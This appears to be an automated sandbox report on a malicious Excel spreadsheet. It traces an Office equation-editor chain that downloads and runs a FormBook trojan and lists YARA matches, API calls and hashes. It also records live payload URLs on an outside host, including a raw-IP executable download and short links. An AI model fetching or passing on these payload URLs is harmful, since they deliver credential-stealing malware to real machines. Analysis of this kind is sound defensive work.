Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 10:42:44 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OyO6%2BzgN0Mm%2BV44JN4%2FyHHrzm9PgUI%2B%2Bcys2y5e6Xp6cajkzVZEGkoCNBI89MNUniNZwquOUZ0JL4blO%2B6ltgVzh%2FKssGJdZqdVIzHxH6YD4lH0nYymppcTz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93c8e62886c431-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 10:42:49 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HWapKren%2FOs5%2F5eohyukmtsXHWSC1mFOvG3cz%2BxV5nO43wK1zPVKyYK%2F%2FDggmUyTaiz7BojaE1u5ZY7gahkitPMRKlYG%2FZeAoNUuVI3AzIs8mP0hxWao4om2"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93c902d92732e2-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 10:42:49 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HWapKren%2FOs5%2F5eohyukmtsXHWSC1mFOvG3cz%2BxV5nO43wK1zPVKyYK%2F%2FDggmUyTaiz7BojaE1u5ZY7gahkitPMRKlYG%2FZeAoNUuVI3AzIs8mP0hxWao4om2"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93c902d92732e2-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000006.00000002.439733096.000000000056F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000006.00000002.439733096.00000000005AF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://104.219.239.104/80/winiti.exe
Source: EQNEDT32.EXE, 00000006.00000002.439733096.00000000005AF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://104.219.239.104/80/winiti.execC:
Source: EQNEDT32.EXE, 00000006.00000002.439733096.000000000056F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://104.219.239.104/80/winiti.exej
Source: EQNEDT32.EXE, 00000006.00000002.439733096.000000000056F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://104.219.239.104/80/winiti.exekkC:
Source: tny.wtf.url.3.dr String found in binary or memory: http://tny.wtf/
Source: RFQ#51281AOLAI.xls, dGa.url.3.dr String found in binary or memory: http://tny.wtf/dGa
Source: 45930000.0.dr, ~DF2F5EA4D2F53E3BDB.TMP.0.dr String found in binary or memory: http://tny.wtf/dGayX

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 9.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000009.00000002.522804194.0000000000240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.522828239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 9.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 9.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.522804194.0000000000240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.522828239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B9D5C678.doc, type: DROPPED Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened[1].doc, type: DROPPED Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Excel sheet contains many unusual embedded objects
Source: RFQ#51281AOLAI.xls OLE: Microsoft Excel 2007+
Source: 45930000.0.dr OLE: Microsoft Excel 2007+
Source: ~DFA1D41AEDA01093E0.TMP.0.dr OLE: Microsoft Excel 2007+
Microsoft Office drops suspicious files
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\dGa.url Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\tny.wtf.url Jump to behavior
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winiti[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\winiti.exe Jump to dropped file
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Contains functionality to call native functions
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0042BEE3 NtClose, 9_2_0042BEE3
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009507AC NtCreateMutant,LdrInitializeThunk, 9_2_009507AC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094F9F0 NtClose,LdrInitializeThunk, 9_2_0094F9F0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FAE8 NtQueryInformationProcess,LdrInitializeThunk, 9_2_0094FAE8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FB68 NtFreeVirtualMemory,LdrInitializeThunk, 9_2_0094FB68
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FDC0 NtQuerySystemInformation,LdrInitializeThunk, 9_2_0094FDC0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009500C4 NtCreateFile, 9_2_009500C4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00950048 NtProtectVirtualMemory, 9_2_00950048
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00950078 NtResumeThread, 9_2_00950078
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00950060 NtQuerySection, 9_2_00950060
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009501D4 NtSetValueKey, 9_2_009501D4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0095010C NtOpenDirectoryObject, 9_2_0095010C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00950C40 NtGetContextThread, 9_2_00950C40
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009510D0 NtOpenProcessToken, 9_2_009510D0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00951148 NtOpenThread, 9_2_00951148
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094F8CC NtWaitForSingleObject, 9_2_0094F8CC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094F900 NtReadFile, 9_2_0094F900
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00951930 NtSetContextThread, 9_2_00951930
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094F938 NtWriteFile, 9_2_0094F938
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FAB8 NtQueryValueKey, 9_2_0094FAB8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FAD0 NtAllocateVirtualMemory, 9_2_0094FAD0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FA20 NtQueryInformationFile, 9_2_0094FA20
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FA50 NtEnumerateValueKey, 9_2_0094FA50
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FBB8 NtQueryInformationToken, 9_2_0094FBB8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FBE8 NtQueryVirtualMemory, 9_2_0094FBE8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FB50 NtCreateKey, 9_2_0094FB50
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FC90 NtUnmapViewOfSection, 9_2_0094FC90
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FC30 NtOpenProcess, 9_2_0094FC30
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FC48 NtSetInformationFile, 9_2_0094FC48
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FC60 NtMapViewOfSection, 9_2_0094FC60
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00951D80 NtSuspendThread, 9_2_00951D80
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FD8C NtDelayExecution, 9_2_0094FD8C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FD5C NtEnumerateKey, 9_2_0094FD5C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FEA0 NtReadVirtualMemory, 9_2_0094FEA0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FED0 NtAdjustPrivilegesToken, 9_2_0094FED0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FE24 NtWriteVirtualMemory, 9_2_0094FE24
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FFB4 NtCreateSection, 9_2_0094FFB4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FFFC NtCreateProcessEx, 9_2_0094FFFC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0094FF34 NtQueueApcThread, 9_2_0094FF34
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_004304C8 8_2_004304C8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_00433D98 8_2_00433D98
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_00431168 8_2_00431168
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_00433B38 8_2_00433B38
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_01E81DE8 8_2_01E81DE8
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_01E819C0 8_2_01E819C0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_01E819B1 8_2_01E819B1
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_01E82B40 8_2_01E82B40
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_01E82B50 8_2_01E82B50
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_01E82709 8_2_01E82709
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_01E82718 8_2_01E82718
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_01E82220 8_2_01E82220
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 8_2_01E82230 8_2_01E82230
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00401420 9_2_00401420
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00401000 9_2_00401000
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00401154 9_2_00401154
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00401160 9_2_00401160
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00416A4E 9_2_00416A4E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00416A53 9_2_00416A53
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0040FCCB 9_2_0040FCCB
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0040FCD3 9_2_0040FCD3
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0042E523 9_2_0042E523
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0040FEF3 9_2_0040FEF3
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0040DF73 9_2_0040DF73
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00402FD0 9_2_00402FD0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0095E0C6 9_2_0095E0C6
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0095E2E9 9_2_0095E2E9
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00A063BF 9_2_00A063BF
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009863DB 9_2_009863DB
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00962305 9_2_00962305
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009AA37B 9_2_009AA37B
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009E443E 9_2_009E443E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0097C5F0 9_2_0097C5F0
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009E05E3 9_2_009E05E3
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009A6540 9_2_009A6540
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00964680 9_2_00964680
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0096E6C1 9_2_0096E6C1
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00A02622 9_2_00A02622
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009AA634 9_2_009AA634
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0096C7BC 9_2_0096C7BC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0096C85C 9_2_0096C85C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0098286D 9_2_0098286D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009629B2 9_2_009629B2
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00A0098E 9_2_00A0098E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009769FE 9_2_009769FE
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009F49F5 9_2_009F49F5
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009AC920 9_2_009AC920
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00A0CBA4 9_2_00A0CBA4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009E6BCB 9_2_009E6BCB
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00A02C9C 9_2_00A02C9C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009EAC5E 9_2_009EAC5E
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00990D3B 9_2_00990D3B
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0096CD5B 9_2_0096CD5B
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00992E2F 9_2_00992E2F
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0097EE4C 9_2_0097EE4C
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009FCFB1 9_2_009FCFB1
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009D2FDC 9_2_009D2FDC
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00970F3F 9_2_00970F3F
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0098D005 9_2_0098D005
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0097905A 9_2_0097905A
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00963040 9_2_00963040
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009DD06D 9_2_009DD06D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009ED13F 9_2_009ED13F
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00A01238 9_2_00A01238
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0095F3CF 9_2_0095F3CF
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00967353 9_2_00967353
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00995485 9_2_00995485
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00971489 9_2_00971489
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0099D47D 9_2_0099D47D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00A035DA 9_2_00A035DA
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0096351F 9_2_0096351F
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009E579A 9_2_009E579A
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009957C3 9_2_009957C3
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009F771D 9_2_009F771D
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009DF8C4 9_2_009DF8C4
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009FF8EE 9_2_009FF8EE
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009E5955 9_2_009E5955
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009E394B 9_2_009E394B
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00A13A83 9_2_00A13A83
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0095FBD7 9_2_0095FBD7
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009EDBDA 9_2_009EDBDA
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_00987B00 9_2_00987B00
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009FFDDD 9_2_009FFDDD
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_009EBF14 9_2_009EBF14
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: 9_2_0098DF7C 9_2_0098DF7C
Document contains embedded VBA macros
Source: RFQ#51281AOLAI.xls OLE indicator, VBA macros: true
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~DFA1D41AEDA01093E0.TMP.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Source: ~WRF{B2025738-BC6B-4CB2-8D99-AAA2C3F993CF}.tmp.3.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\winiti[1].exe 434EC59B680788BAE7F2935200A77E681CECBB517D853C6E6CF31F4CF112E5CC
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Roaming\winiti.exe 434EC59B680788BAE7F2935200A77E681CECBB517D853C6E6CF31F4CF112E5CC
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 0095E2A8 appears 60 times
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 0095DF5C appears 137 times
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 009CF970 appears 84 times
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 009A3F92 appears 132 times
Source: C:\Users\user\AppData\Roaming\winiti.exe Code function: String function: 009A373B appears 253 times
Yara signature match
Source: 9.2.winiti.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.2.winiti.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.522804194.0000000000240000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.522828239.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B9D5C678.doc, type: DROPPED Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\recreatednewthingswithentrienewprocesswhichwedidwithouthavingsuchagereatthigstodoever_______greatthingstohappened[1].doc, type: DROPPED Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: winiti[1].exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: winiti.exe.6.dr Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 8.2.winiti.exe.22f505c.3.raw.unpack, VU5FiiciHrPuThVwBQ.cs Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.winiti.exe.22f505c.3.raw.unpack, VU5FiiciHrPuThVwBQ.cs Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.winiti.exe.5c0000.1.raw.unpack, VU5FiiciHrPuThVwBQ.cs Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.winiti.exe.5c0000.1.raw.unpack, VU5FiiciHrPuThVwBQ.cs Cryptographic APIs: 'CreateDecryptor'
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, hNFj00Hv45CTOkfqEI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, hNFj00Hv45CTOkfqEI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: _0020.SetAccessControl
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: _0020.SetAccessControl
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 8.2.winiti.exe.4e40000.6.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: _0020.SetAccessControl
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 8.2.winiti.exe.36d8a18.4.raw.unpack, zDIByBvZeeoTUlBtuI.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 8.2.winiti.exe.3650ff8.5.raw.unpack, hNFj00Hv45CTOkfqEI.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: classification engine Classification label: mal100.troj.expl.evad.winXLS@7/25@6/3
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\45930000 Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRA478.tmp Jump to behavior
Source: RFQ#51281AOLAI.xls OLE indicator, Workbook stream: true
Source: 45930000.0.dr OLE indicator, Workbook stream: true
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: RFQ#51281AOLAI.xls ReversingLabs: Detection: 18%
Source: RFQ#51281AOLAI.xls Virustotal: Detection: 19%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe" Jump to behavior
